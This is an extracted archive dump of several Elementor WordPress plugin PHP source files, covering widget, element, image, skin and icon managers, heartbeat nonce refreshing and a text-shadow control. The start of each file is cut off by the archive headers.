'social-icons', 'spacer', 'testimonial', 'text-editor', 'video', ]; } /** * Widgets with responsive styles. * * This method returns the list of all the widgets in the `/includes/` * folder that have responsive styles. * * @since 3.24.0 * @access public * * @return array The names of the widgets that have responsive styles. */ public function widgets_with_responsive_styles(): array { return [ 'accordion', 'alert', 'icon-box', 'icon-list', 'image-box', 'image-gallery', 'progress', 'star-rating', 'tabs', 'toggle', ]; } /** * Enqueue widgets scripts. * * Enqueue all the scripts defined as a dependency for each widget. * * @since 1.3.0 * @access public */ public function enqueue_widgets_scripts() { foreach ( $this->get_widget_types() as $widget ) { $widget->enqueue_scripts(); } } /** * Enqueue widgets styles * * Enqueue all the styles defined as a dependency for each widget * * @access public */ public function enqueue_widgets_styles() { foreach ( $this->get_widget_types() as $widget ) { $widget->enqueue_styles(); } } /** * Retrieve inline editing configuration. * * Returns general inline editing configurations like toolbar types etc. * * @access public * @since 1.8.0 * * @return array { * Inline editing configuration. * * @type array $toolbar { * Toolbar types and the actions each toolbar includes. * Note: Wysiwyg controls uses the advanced toolbar, textarea controls * uses the basic toolbar and text controls has no toolbar. * * @type array $basic Basic actions included in the edit tool. * @type array $advanced Advanced actions included in the edit tool. * } * } */ public function get_inline_editing_config() { $basic_tools = [ 'bold', 'underline', 'italic', ]; $advanced_tools = array_merge( $basic_tools, [ 'createlink', 'unlink', 'h1' => [ 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'blockquote', 'pre', ], 'list' => [ 'insertOrderedList', 'insertUnorderedList', ], ] ); return [ 'toolbar' => [ 'basic' => $basic_tools, 'advanced' => $advanced_tools, ], ]; } /** * Widgets manager constructor. * * Initializing Elementor widgets manager. * * @since 1.0.0 * @access public */ public function __construct() { $this->require_files(); add_action( 'elementor/ajax/register_actions', [ $this, 'register_ajax_actions' ] ); } /** * Register ajax actions. * * Add new actions to handle data after an ajax requests returned. * * @since 2.0.0 * @access public * * @param Ajax $ajax_manager */ public function register_ajax_actions( Ajax $ajax_manager ) { $ajax_manager->register_ajax_action( 'render_widget', [ $this, 'ajax_render_widget' ] ); $ajax_manager->register_ajax_action( 'editor_get_wp_widget_form', [ $this, 'ajax_get_wp_widget_form' ] ); $ajax_manager->register_ajax_action( 'get_widgets_config', [ $this, 'ajax_get_widget_types_controls_config' ] ); $ajax_manager->register_ajax_action( 'get_widgets_default_value_translations', function ( array $data ) { return $this->ajax_get_widgets_default_value_translations( $data ); } ); } /** * @param $experiment_name * @param $classes * @return void */ public function register_promoted_active_widgets( string $experiment_name, array $classes ) : void { if ( ! Plugin::$instance->experiments->is_feature_active( $experiment_name ) || empty( $classes ) ) { return; } foreach ( $classes as $class_name ) { $this->register( new $class_name() ); } } } includes/managers/elements.php000064400000020733147206604650012513 0ustar00require_files(); } /** * Create element instance. * * This method creates a new element instance for any given element. * * @since 1.0.0 * @access public * * @param array $element_data Element data. * @param array $element_args Optional. Element arguments. Default is * an empty array. * @param Element_Base $element_type Optional. Element type. Default is null. * * @return Element_Base|null Element instance if element created, or null * otherwise. */ public function create_element_instance( array $element_data, array $element_args = [], Element_Base $element_type = null ) { if ( null === $element_type ) { if ( 'widget' === $element_data['elType'] ) { $element_type = Plugin::$instance->widgets_manager->get_widget_types( $element_data['widgetType'] ); } else { $element_type = $this->get_element_types( $element_data['elType'] ); } } if ( ! $element_type ) { return null; } $args = array_merge( $element_type->get_default_args(), $element_args ); $element_class = $element_type->get_class_name(); try { $element = new $element_class( $element_data, $args ); } catch ( \Exception $e ) { return null; } return $element; } /** * Get element categories. * * Retrieve the list of categories the element belongs to. * * @since 1.0.0 * @access public * * @return array Element categories. */ public function get_categories() { if ( null === $this->categories ) { $this->init_categories(); } return $this->categories; } /** * Add element category. * * Register new category for the element. * * @since 1.7.12 * @access public * * @param string $category_name Category name. * @param array $category_properties Category properties. */ public function add_category( $category_name, $category_properties ) { if ( null === $this->categories ) { $this->get_categories(); } if ( ! isset( $this->categories[ $category_name ] ) ) { $this->categories[ $category_name ] = $category_properties; } } /** * Register element type. * * Add new type to the list of registered types. * * @since 1.0.0 * @access public * * @param Element_Base $element Element instance. * * @return bool Whether the element type was registered. */ public function register_element_type( Element_Base $element ) { $this->_element_types[ $element->get_name() ] = $element; return true; } /** * Unregister element type. * * Remove element type from the list of registered types. * * @since 1.0.0 * @access public * * @param string $name Element name. * * @return bool Whether the element type was unregister, or not. */ public function unregister_element_type( $name ) { if ( ! isset( $this->_element_types[ $name ] ) ) { return false; } unset( $this->_element_types[ $name ] ); return true; } /** * Get element types. * * Retrieve the list of all the element types, or if a specific element name * was provided retrieve his element types. * * @since 1.0.0 * @access public * * @param string $element_name Optional. Element name. Default is null. * * @return null|Element_Base|Element_Base[] Element types, or a list of all the element * types, or null if element does not exist. */ public function get_element_types( $element_name = null ) { if ( is_null( $this->_element_types ) ) { $this->init_elements(); } if ( null !== $element_name ) { return isset( $this->_element_types[ $element_name ] ) ? $this->_element_types[ $element_name ] : null; } return $this->_element_types; } /** * Get element types config. * * Retrieve the config of all the element types. * * @since 1.0.0 * @access public * * @return array Element types config. */ public function get_element_types_config() { $config = []; foreach ( $this->get_element_types() as $element ) { $config[ $element->get_name() ] = $element->get_config(); } return $config; } /** * Render elements content. * * Used to generate the elements templates on the editor. * * @since 1.0.0 * @access public */ public function render_elements_content() { foreach ( $this->get_element_types() as $element_type ) { $element_type->print_template(); } } /** * Init elements. * * Initialize Elementor elements by registering the supported elements. * Elementor supports by default `section` element and `column` element. * * @since 2.0.0 * @access private */ private function init_elements() { $this->_element_types = []; foreach ( [ 'section', 'column' ] as $element_name ) { $class_name = __NAMESPACE__ . '\Element_' . $element_name; $this->register_element_type( new $class_name() ); } $experiments_manager = Plugin::$instance->experiments; if ( $experiments_manager->is_feature_active( 'container' ) ) { $this->register_element_type( new Container() ); } /** * After elements registered. * * Fires after Elementor elements are registered. * * @since 1.0.0 */ do_action( 'elementor/elements/elements_registered', $this ); } /** * Init categories. * * Initialize the element categories. * * @since 1.7.12 * @access private */ private function init_categories() { $this->categories = [ 'layout' => [ 'title' => esc_html__( 'Layout', 'elementor' ), 'hideIfEmpty' => true, ], 'basic' => [ 'title' => esc_html__( 'Basic', 'elementor' ), 'icon' => 'eicon-font', ], 'pro-elements' => [ 'title' => esc_html__( 'Pro', 'elementor' ), 'promotion' => [ 'url' => esc_url( 'https://go.elementor.com/go-pro-section-pro-widget-panel/' ), ], ], 'general' => [ 'title' => esc_html__( 'General', 'elementor' ), 'icon' => 'eicon-font', ], 'link-in-bio' => [ 'title' => esc_html__( 'Link In Bio', 'elementor' ), 'hideIfEmpty' => true, ], 'theme-elements' => [ 'title' => esc_html__( 'Site', 'elementor' ), 'active' => false, 'promotion' => [ 'url' => esc_url( 'https://go.elementor.com/go-pro-section-site-widget-panel/' ), ], ], 'woocommerce-elements' => [ 'title' => esc_html__( 'WooCommerce', 'elementor' ), 'active' => false, 'promotion' => [ 'url' => esc_url( 'https://go.elementor.com/go-pro-section-woocommerce-widget-panel/' ), ], ], ]; // Not using the `add_category` because it doesn't allow 3rd party to inject a category on top the others. $this->categories = array_merge_recursive( [ 'favorites' => [ 'title' => esc_html__( 'Favorites', 'elementor' ), 'icon' => 'eicon-heart', 'sort' => 'a-z', 'hideIfEmpty' => false, ], ], $this->categories ); /** * When categories are registered. * * Fires after basic categories are registered, before WordPress * category have been registered. * * This is where categories registered by external developers are * added. * * @since 2.0.0 * * @param Elements_Manager $this Elements manager instance. */ do_action( 'elementor/elements/categories_registered', $this ); $this->categories['wordpress'] = [ 'title' => esc_html__( 'WordPress', 'elementor' ), 'icon' => 'eicon-wordpress', 'active' => false, ]; } /** * Require files. * * Require Elementor element base class and column, section and repeater * elements. * * @since 1.0.0 * @access private */ private function require_files() { require_once ELEMENTOR_PATH . 'includes/base/element-base.php'; require ELEMENTOR_PATH . 'includes/elements/column.php'; require ELEMENTOR_PATH . 'includes/elements/section.php'; require ELEMENTOR_PATH . 'includes/elements/repeater.php'; } } includes/managers/wordpress-widgets.php000064400000005326147206604650014374 0ustar00= 4.9 - it's no needed, Keep for Backward compatibility. $wp_scripts->add( 'media-widgets', "/wp-admin/js/widgets/media-widgets$suffix.js", array( 'jquery', 'media-models', 'media-views' ) ); $wp_scripts->add_inline_script( 'media-widgets', 'wp.mediaWidgets.init();', 'after' ); $wp_scripts->add( 'media-audio-widget', "/wp-admin/js/widgets/media-audio-widget$suffix.js", array( 'media-widgets', 'media-audiovideo' ) ); $wp_scripts->add( 'media-image-widget', "/wp-admin/js/widgets/media-image-widget$suffix.js", array( 'media-widgets' ) ); $wp_scripts->add( 'media-video-widget', "/wp-admin/js/widgets/media-video-widget$suffix.js", array( 'media-widgets', 'media-audiovideo' ) ); $wp_scripts->add( 'text-widgets', "/wp-admin/js/widgets/text-widgets$suffix.js", array( 'jquery', 'editor', 'wp-util' ) ); $wp_scripts->add_inline_script( 'text-widgets', 'wp.textWidgets.init();', 'after' ); wp_enqueue_style( 'widgets' ); wp_enqueue_style( 'media-views' ); // End TODO. // Don't enqueue `code-editor` for WP Custom HTML widget. wp_get_current_user()->syntax_highlighting = 'false'; /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_scripts-widgets.php' ); } /** * WordPress widgets footer. * * Prints WordPress widgets scripts in Elementor editor footer. * * Fired by `elementor/editor/footer` action. * * @since 1.5.0 * @access public */ public function footer() { /** This action is documented in wp-admin/admin-footer.php */ do_action( 'admin_footer-widgets.php' ); } } includes/managers/image.php000064400000012203147206604650011752 0ustar00get_details( $item['id'], $item['size'], $item['is_first_time'] ); } wp_send_json_success( $urls ); } /** * Get image details. * * Retrieve single image details. * * Fired by `wp_ajax_elementor_get_image_details` action. * * @since 1.0.0 * @access public * * @param string $id Image attachment ID. * @param string|array $size Image size. Accepts any valid image * size, or an array of width and height * values in pixels (in that order). * @param string $is_first_time Set 'true' string to force reloading * all image sizes. * * @return array URLs with different image sizes. */ public function get_details( $id, $size, $is_first_time ) { if ( ! class_exists( 'Group_Control_Image_Size' ) ) { require_once ELEMENTOR_PATH . '/includes/controls/groups/image-size.php'; } if ( 'true' === $is_first_time ) { $sizes = get_intermediate_image_sizes(); $sizes[] = 'full'; } else { $sizes = []; } $sizes[] = $size; $urls = []; foreach ( $sizes as $size ) { if ( 0 === strpos( $size, 'custom_' ) ) { preg_match( '/custom_(\d*)x(\d*)/', $size, $matches ); $matches[1] = (int) $matches[1]; $matches[2] = (int) $matches[2]; $instance = [ 'image_size' => 'custom', 'image_custom_dimension' => [ 'width' => $matches[1], 'height' => $matches[2], ], ]; $url = Group_Control_Image_Size::get_attachment_image_src( $id, 'image', $instance ); $thumbs_path = BFITHUMB_UPLOAD_DIR . '/' . basename( $url ); $image_meta = wp_get_attachment_metadata( $id ); // Attach custom image to original. $image_meta['sizes'][ 'elementor_' . $size ] = [ 'file' => $thumbs_path, 'width' => $matches[1], 'height' => $matches[2], 'mime-type' => get_post_mime_type( $id ), ]; wp_update_attachment_metadata( $id, $image_meta ); $urls[ $size ] = $url; } else { $urls[ $size ] = wp_get_attachment_image_src( $id, $size )[0]; } } return $urls; } /** * Get Light-Box Image Attributes * * Used to retrieve an array of image attributes to be used for displaying an image in Elementor's Light Box module. * * @param int $id The ID of the image * * @return array An array of image attributes including `title` and `description`. * @since 2.9.0 * @access public */ public function get_lightbox_image_attributes( $id ) { $attributes = []; $kit = Plugin::$instance->kits_manager->get_active_kit(); $lightbox_title_src = $kit->get_settings( 'lightbox_title_src' ); $lightbox_description_src = $kit->get_settings( 'lightbox_description_src' ); $attachment = get_post( $id ); if ( $attachment ) { $image_data = [ 'alt' => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ), 'caption' => $attachment->post_excerpt, 'description' => $attachment->post_content, 'title' => $attachment->post_title, ]; if ( $lightbox_title_src && $image_data[ $lightbox_title_src ] ) { $attributes['title'] = $image_data[ $lightbox_title_src ]; } if ( $lightbox_description_src && $image_data[ $lightbox_description_src ] ) { $attributes['description'] = $image_data[ $lightbox_description_src ]; } } return $attributes; } private function delete_custom_images( $post_id ) { $image_meta = wp_get_attachment_metadata( $post_id ); if ( ! empty( $image_meta ) && ! empty( $image_meta['sizes'] ) ) { ( new Collection( $image_meta['sizes'] ) ) ->filter( function ( $value, $key ) { return ( 0 === strpos( $key, 'elementor_custom_' ) ); } ) ->pluck( 'file' ) ->each( function ( $path ) { $base_dir = wp_get_upload_dir()['basedir']; wp_delete_file( $base_dir . '/' . $path ); } ); } } /** * Images manager constructor. * * Initializing Elementor images manager. * * @since 1.0.0 * @access public */ public function __construct() { add_action( 'wp_ajax_elementor_get_images_details', [ $this, 'get_images_details' ] ); // Delete elementor thumbnail files on deleting its main image. add_action( 'delete_attachment', function ( $post_id ) { $this->delete_custom_images( $post_id ); } ); } } includes/managers/skins.php000064400000004506147206604650012026 0ustar00get_name(); if ( ! isset( $this->_skins[ $widget_name ] ) ) { $this->_skins[ $widget_name ] = []; } $this->_skins[ $widget_name ][ $skin->get_id() ] = $skin; return true; } /** * Remove a skin. * * Unregister an existing skin from a widget. * * @since 1.0.0 * @access public * * @param Widget_Base $widget Elementor widget. * @param string $skin_id Elementor skin ID. * * @return true|\WP_Error True if skin removed, `WP_Error` otherwise. */ public function remove_skin( Widget_Base $widget, $skin_id ) { $widget_name = $widget->get_name(); if ( ! isset( $this->_skins[ $widget_name ][ $skin_id ] ) ) { return new \WP_Error( 'Cannot remove not-exists skin.' ); } unset( $this->_skins[ $widget_name ][ $skin_id ] ); return true; } /** * Get skins. * * Retrieve all the skins assigned for a specific widget. * * @since 1.0.0 * @access public * * @param Widget_Base $widget Elementor widget. * * @return false|array Skins if the widget has skins, False otherwise. */ public function get_skins( Widget_Base $widget ) { $widget_name = $widget->get_name(); if ( ! isset( $this->_skins[ $widget_name ] ) ) { return false; } return $this->_skins[ $widget_name ]; } /** * Skins manager constructor. * * Initializing Elementor skins manager by requiring the skin base class. * * @since 1.0.0 * @access public */ public function __construct() { require ELEMENTOR_PATH . 'includes/base/skin-base.php'; } } includes/managers/icons.php000064400000043555147206604650012021 0ustar00 $icon_type ) { if ( ! isset( $icon_type['url'] ) ) { continue; } $dependencies = []; if ( ! empty( $icon_type['enqueue'] ) ) { foreach ( (array) $icon_type['enqueue'] as $font_css_url ) { if ( ! in_array( $font_css_url, array_keys( $shared_styles ), true ) ) { $style_handle = 'elementor-icons-shared-' . count( $shared_styles ); wp_register_style( $style_handle, $font_css_url, [], $icon_type['ver'] ); $shared_styles[ $font_css_url ] = $style_handle; } $dependencies[] = $shared_styles[ $font_css_url ]; } } wp_register_style( 'elementor-icons-' . $icon_type['name'], $icon_type['url'], $dependencies, $icon_type['ver'] ); } } /** * Init Tabs * * Initiate Icon Manager Tabs. * * @access private * @static * @since 2.4.0 */ private static function init_tabs() { $initial_tabs = [ 'fa-regular' => [ 'name' => 'fa-regular', 'label' => esc_html__( 'Font Awesome - Regular', 'elementor' ), 'url' => self::get_fa_asset_url( 'regular' ), 'enqueue' => [ self::get_fa_asset_url( 'fontawesome' ) ], 'prefix' => 'fa-', 'displayPrefix' => 'far', 'labelIcon' => 'fab fa-font-awesome-alt', 'ver' => '5.15.3', 'fetchJson' => self::get_fa_asset_url( 'regular', 'js', false ), 'native' => true, ], 'fa-solid' => [ 'name' => 'fa-solid', 'label' => esc_html__( 'Font Awesome - Solid', 'elementor' ), 'url' => self::get_fa_asset_url( 'solid' ), 'enqueue' => [ self::get_fa_asset_url( 'fontawesome' ) ], 'prefix' => 'fa-', 'displayPrefix' => 'fas', 'labelIcon' => 'fab fa-font-awesome', 'ver' => '5.15.3', 'fetchJson' => self::get_fa_asset_url( 'solid', 'js', false ), 'native' => true, ], 'fa-brands' => [ 'name' => 'fa-brands', 'label' => esc_html__( 'Font Awesome - Brands', 'elementor' ), 'url' => self::get_fa_asset_url( 'brands' ), 'enqueue' => [ self::get_fa_asset_url( 'fontawesome' ) ], 'prefix' => 'fa-', 'displayPrefix' => 'fab', 'labelIcon' => 'fab fa-font-awesome-flag', 'ver' => '5.15.3', 'fetchJson' => self::get_fa_asset_url( 'brands', 'js', false ), 'native' => true, ], ]; /** * Initial icon manager tabs. * * Filters the list of initial icon manager tabs. * * @param array $icon_manager_tabs Initial icon manager tabs. */ $initial_tabs = apply_filters( 'elementor/icons_manager/native', $initial_tabs ); self::$tabs = $initial_tabs; } /** * Get Icon Manager Tabs * @return array */ public static function get_icon_manager_tabs() { if ( self::is_font_icon_inline_svg() && ! Plugin::$instance->editor->is_edit_mode() && ! Plugin::$instance->preview->is_preview_mode() ) { self::$tabs = []; } elseif ( ! self::$tabs ) { self::init_tabs(); } $additional_tabs = []; /** * Additional icon manager tabs. * * Filters additional icon manager tabs. * * @param array $additional_tabs Additional icon manager tabs. Default is an empty array. */ $additional_tabs = apply_filters( 'elementor/icons_manager/additional_tabs', $additional_tabs ); return array_replace( self::$tabs, $additional_tabs ); } public static function enqueue_shim() { //phpcs:ignore WordPress.WP.EnqueuedResourceParameters.NotInFooter wp_enqueue_script( 'font-awesome-4-shim', self::get_fa_asset_url( 'v4-shims', 'js' ), [], ELEMENTOR_VERSION ); // Make sure that the CSS in the 'all' file does not override FA Pro's CSS if ( ! wp_script_is( 'font-awesome-pro' ) ) { wp_enqueue_style( 'font-awesome-5-all', self::get_fa_asset_url( 'all' ), [], ELEMENTOR_VERSION ); } wp_enqueue_style( 'font-awesome-4-shim', self::get_fa_asset_url( 'v4-shims' ), [], ELEMENTOR_VERSION ); } private static function get_fa_asset_url( $filename, $ext_type = 'css', $add_suffix = true ) { static $is_test_mode = null; if ( null === $is_test_mode ) { $is_test_mode = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG || defined( 'ELEMENTOR_TESTS' ) && ELEMENTOR_TESTS; } $url = ELEMENTOR_ASSETS_URL . 'lib/font-awesome/' . $ext_type . '/' . $filename; if ( ! $is_test_mode && $add_suffix ) { $url .= '.min'; } return $url . '.' . $ext_type; } public static function get_icon_manager_tabs_config() { $tabs = [ 'all' => [ 'name' => 'all', 'label' => esc_html__( 'All Icons', 'elementor' ), 'labelIcon' => 'eicon-filter', 'native' => true, ], ]; return array_values( array_merge( $tabs, self::get_icon_manager_tabs() ) ); } /** * is_font_awesome_inline * * @return bool */ private static function is_font_icon_inline_svg() { return Plugin::$instance->experiments->is_feature_active( 'e_font_icon_svg' ); } /** * @deprecated 3.8.0 */ public static function render_svg_symbols() {} public static function get_icon_svg_data( $icon ) { return self::$data_manager->get_font_icon_svg_data( $icon ); } /** * Get font awesome svg. * @param $icon array [ 'value' => string, 'library' => string ] * * @return bool|mixed|string */ public static function get_font_icon_svg( $icon, $attributes = [] ) { // Load the SVG from the database. $icon_data = self::get_icon_svg_data( $icon ); if ( ! $icon_data['path'] ) { return ''; } if ( ! empty( $attributes['class'] ) && ! is_array( $attributes['class'] ) ) { $attributes['class'] = [ $attributes['class'] ]; } $attributes['class'][] = self::FONT_ICON_SVG_CLASS_NAME; $attributes['class'][] = 'e-' . $icon_data['key']; $attributes['viewBox'] = '0 0 ' . $icon_data['width'] . ' ' . $icon_data['height']; $attributes['xmlns'] = 'http://www.w3.org/2000/svg'; return ( '' . '' . '' ); } public static function render_uploaded_svg_icon( $value ) { if ( ! isset( $value['id'] ) ) { return ''; } return Svg::get_inline_svg( $value['id'] ); } public static function render_font_icon( $icon, $attributes = [], $tag = 'i' ) { $icon_types = self::get_icon_manager_tabs(); if ( isset( $icon_types[ $icon['library'] ]['render_callback'] ) && is_callable( $icon_types[ $icon['library'] ]['render_callback'] ) ) { return call_user_func_array( $icon_types[ $icon['library'] ]['render_callback'], [ $icon, $attributes, $tag ] ); } $content = ''; $font_icon_svg_family = self::is_font_icon_inline_svg() ? Font_Icon_Svg_Data_Manager::get_font_family( $icon['library'] ) : ''; if ( $font_icon_svg_family ) { $icon['font_family'] = $font_icon_svg_family; $content = self::get_font_icon_svg( $icon, $attributes ); if ( $content ) { return $content; } } if ( ! $content ) { if ( empty( $attributes['class'] ) ) { $attributes['class'] = $icon['value']; } else { if ( is_array( $attributes['class'] ) ) { $attributes['class'][] = $icon['value']; } else { $attributes['class'] .= ' ' . $icon['value']; } } } return '<' . $tag . ' ' . Utils::render_html_attributes( $attributes ) . '>' . $content . ''; } /** * Render Icon * * Used to render Icon for \Elementor\Controls_Manager::ICONS * @param array $icon Icon Type, Icon value * @param array $attributes Icon HTML Attributes * @param string $tag Icon HTML tag, defaults to * * @return mixed|string */ public static function render_icon( $icon, $attributes = [], $tag = 'i' ) { if ( empty( $icon['library'] ) ) { return false; } $output = static::get_icon_html( $icon, $attributes, $tag ); Utils::print_unescaped_internal_string( $output ); return true; } /** * Font Awesome 4 to font Awesome 5 Value Migration * * used to convert string value of Icon control to array value of Icons control * ex: 'fa fa-star' => [ 'value' => 'fas fa-star', 'library' => 'fa-solid' ] * * @param $value * * @return array */ public static function fa4_to_fa5_value_migration( $value ) { static $migration_dictionary = false; if ( '' === $value ) { return [ 'value' => '', 'library' => '', ]; } if ( false === $migration_dictionary ) { $migration_dictionary = json_decode( Utils::file_get_contents( ELEMENTOR_ASSETS_PATH . 'lib/font-awesome/migration/mapping.js' ), true ); } if ( isset( $migration_dictionary[ $value ] ) ) { return $migration_dictionary[ $value ]; } return [ 'value' => 'fas ' . str_replace( 'fa ', '', $value ), 'library' => 'fa-solid', ]; } /** * on_import_migration * @param array $element settings array * @param string $old_control old control id * @param string $new_control new control id * @param bool $remove_old boolean whether to remove old control or not * * @return array */ public static function on_import_migration( array $element, $old_control = '', $new_control = '', $remove_old = false ) { if ( ! isset( $element['settings'][ $old_control ] ) || isset( $element['settings'][ $new_control ] ) ) { return $element; } // Case when old value is saved as empty string $new_value = [ 'value' => '', 'library' => '', ]; // Case when old value needs migration if ( ! empty( $element['settings'][ $old_control ] ) && ! self::is_migration_allowed() ) { $new_value = self::fa4_to_fa5_value_migration( $element['settings'][ $old_control ] ); } $element['settings'][ $new_control ] = $new_value; //remove old value if ( $remove_old ) { unset( $element['settings'][ $old_control ] ); } return $element; } /** * is_migration_allowed * @return bool */ public static function is_migration_allowed() { static $migration_allowed = false; if ( false === $migration_allowed ) { $migration_allowed = null === self::get_needs_upgrade_option(); /** * Is icon migration allowed. * * Filters whether the icons migration allowed. * * @param bool $migration_allowed Is icon migration is allowed. */ $migration_allowed = apply_filters( 'elementor/icons_manager/migration_allowed', $migration_allowed ); } return $migration_allowed; } /** * Register_Admin Settings * * adds Font Awesome migration / update admin settings * @param Settings $settings */ public function register_admin_settings( Settings $settings ) { $settings->add_field( Settings::TAB_ADVANCED, Settings::TAB_ADVANCED, 'load_fa4_shim', [ 'label' => esc_html__( 'Load Font Awesome 4 Support', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => '', 'options' => [ '' => esc_html__( 'No', 'elementor' ), 'yes' => esc_html__( 'Yes', 'elementor' ), ], 'desc' => esc_html__( 'Font Awesome 4 support script (shim.js) is a script that makes sure all previously selected Font Awesome 4 icons are displayed correctly while using Font Awesome 5 library.', 'elementor' ), ], ] ); } public function register_admin_tools_settings( Tools $settings ) { $settings->add_tab( 'fontawesome4_migration', [ 'label' => esc_html__( 'Font Awesome Upgrade', 'elementor' ) ] ); $settings->add_section( 'fontawesome4_migration', 'fontawesome4_migration', [ 'callback' => function() { echo '

' . esc_html__( 'Font Awesome Upgrade', 'elementor' ) . '

'; echo '

' . // PHPCS - Plain Text esc_html__( 'Access 1,500+ amazing Font Awesome 5 icons and enjoy faster performance and design flexibility.', 'elementor' ) . '
' . // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped esc_html__( 'By upgrading, whenever you edit a page containing a Font Awesome 4 icon, Elementor will convert it to the new Font Awesome 5 icon.', 'elementor' ) . // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped '

' . esc_html__( 'Please note that the upgrade process may cause some of the previously used Font Awesome 4 icons to look a bit different due to minor design changes made by Font Awesome.', 'elementor' ) . // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped '

' . esc_html__( 'The upgrade process includes a database update', 'elementor' ) . ' - ' . // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped esc_html__( 'We highly recommend backing up your database before performing this upgrade.', 'elementor' ) . // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped '

' . esc_html__( 'This action is not reversible and cannot be undone by rolling back to previous versions.', 'elementor' ) . // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped '

'; }, 'fields' => [ [ 'label' => esc_html__( 'Font Awesome Upgrade', 'elementor' ), 'field_args' => [ 'type' => 'raw_html', 'html' => sprintf( '%s', self::NEEDS_UPDATE_OPTION . '_upgrade', wp_create_nonce( self::NEEDS_UPDATE_OPTION ), esc_url( $this->get_upgrade_redirect_url() ), esc_html__( 'Upgrade To Font Awesome 5', 'elementor' ) ), ], ], ], ] ); } /** * Get redirect URL when upgrading font awesome. * * @return string */ public function get_upgrade_redirect_url() { if ( ! wp_verify_nonce( Utils::get_super_global_value( $_GET, '_wpnonce' ), 'tools-page-from-editor' ) ) { return ''; } $document_id = ! empty( $_GET['redirect_to_document'] ) ? absint( $_GET['redirect_to_document'] ) : null; if ( ! $document_id ) { return ''; } $document = Plugin::$instance->documents->get( $document_id ); if ( ! $document ) { return ''; } return $document->get_edit_url(); } /** * Ajax Upgrade to FontAwesome 5 */ public function ajax_upgrade_to_fa5() { check_ajax_referer( self::NEEDS_UPDATE_OPTION, '_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( 'Permission denied' ); } delete_option( 'elementor_' . self::NEEDS_UPDATE_OPTION ); wp_send_json_success( [ 'message' => esc_html__( 'Hurray! The upgrade process to Font Awesome 5 was completed successfully.', 'elementor' ) ] ); } /** * Add Update Needed Flag * @param array $settings * * @return array; */ public function add_update_needed_flag( $settings ) { $settings['icons_update_needed'] = true; return $settings; } public function enqueue_fontawesome_css() { if ( ! self::is_migration_allowed() ) { wp_enqueue_style( 'font-awesome' ); } else { $current_filter = current_filter(); $load_shim = get_option( self::LOAD_FA4_SHIM_OPTION_KEY, false ); if ( 'elementor/editor/after_enqueue_styles' === $current_filter ) { self::enqueue_shim(); } elseif ( 'yes' === $load_shim ) { self::enqueue_shim(); } } } /** * @deprecated 3.1.0 */ public function add_admin_strings() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.1.0' ); return []; } /** * Icons Manager constructor */ public function __construct() { if ( is_admin() ) { // @todo: remove once we deprecate fa4 add_action( 'elementor/admin/after_create_settings/' . Settings::PAGE_ID, [ $this, 'register_admin_settings' ], 100 ); } if ( self::is_font_icon_inline_svg() ) { self::$data_manager = new Font_Icon_Svg_Data_Manager(); } add_action( 'elementor/frontend/after_enqueue_styles', [ $this, 'enqueue_fontawesome_css' ] ); add_action( 'elementor/frontend/after_register_styles', [ $this, 'register_styles' ] ); if ( ! self::is_migration_allowed() ) { add_filter( 'elementor/editor/localize_settings', [ $this, 'add_update_needed_flag' ] ); add_action( 'elementor/admin/after_create_settings/' . Tools::PAGE_ID, [ $this, 'register_admin_tools_settings' ], 100 ); if ( ! empty( $_POST ) ) { // phpcs:ignore -- nonce validation done in callback add_action( 'wp_ajax_' . self::NEEDS_UPDATE_OPTION . '_upgrade', [ $this, 'ajax_upgrade_to_fa5' ] ); } } } } includes/heartbeat.php000064400000005113147206604650011034 0ustar00editor->get_locked_user( $post_id ); if ( ! $locked_user || ! empty( $data['elementor_force_post_lock'] ) ) { Plugin::$instance->editor->lock_post( $post_id ); } else { $response['locked_user'] = $locked_user->display_name; } /** @var Core\Common\Modules\Ajax\Module $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); $response['elementorNonce'] = $ajax->create_nonce(); } return $response; } /** * Refresh nonces. * * Filter the nonces to send to the editor when editing with Elementor. Used * to refresh the nonce when the nonce expires while editing. This way the * user doesn't need to log-in again as Elementor fetches the new nonce from * the server using ajax. * * Fired by `wp_refresh_nonces` filter. * * @since 1.8.0 * @access public * * @param array $response The no-priv Heartbeat response object or array. * @param array $data The `$_POST` data sent. * * @return array Refreshed nonces. */ public function refresh_nonces( $response, $data ) { if ( isset( $data['elementor_post_lock']['post_ID'] ) ) { /** @var Core\Common\Modules\Ajax\Module $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); $response['elementor-refresh-nonces'] = [ 'elementorNonce' => $ajax->create_nonce(), 'heartbeatNonce' => wp_create_nonce( 'heartbeat-nonce' ), ]; } return $response; } /** * Heartbeat constructor. * * Initializing Elementor heartbeat. * * @since 1.0.0 * @access public */ public function __construct() { add_filter( 'heartbeat_received', [ $this, 'heartbeat_received' ], 10, 2 ); add_filter( 'wp_refresh_nonces', [ $this, 'refresh_nonces' ], 30, 2 ); } } includes/controls/text-shadow.php000064400000006210147206604650013206 0ustar00 0, 'vertical' => 0, 'blur' => 10, 'color' => 'rgba(0,0,0,0.3)', ]; } /** * Get text shadow control sliders. * * Retrieve the sliders of the text shadow control. Sliders are used while * rendering the control output in the editor. * * @since 1.6.0 * @access public * * @return array Control sliders. */ public function get_sliders() { return [ 'blur' => [ 'label' => esc_html__( 'Blur', 'elementor' ), 'min' => 0, 'max' => 100, ], 'horizontal' => [ 'label' => esc_html__( 'Horizontal', 'elementor' ), 'min' => -100, 'max' => 100, ], 'vertical' => [ 'label' => esc_html__( 'Vertical', 'elementor' ), 'min' => -100, 'max' => 100, ], ]; } /** * Render text shadow control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.6.0 * @access public */ public function content_template() { ?>
get_sliders() as $slider_name => $slider ) : ?>
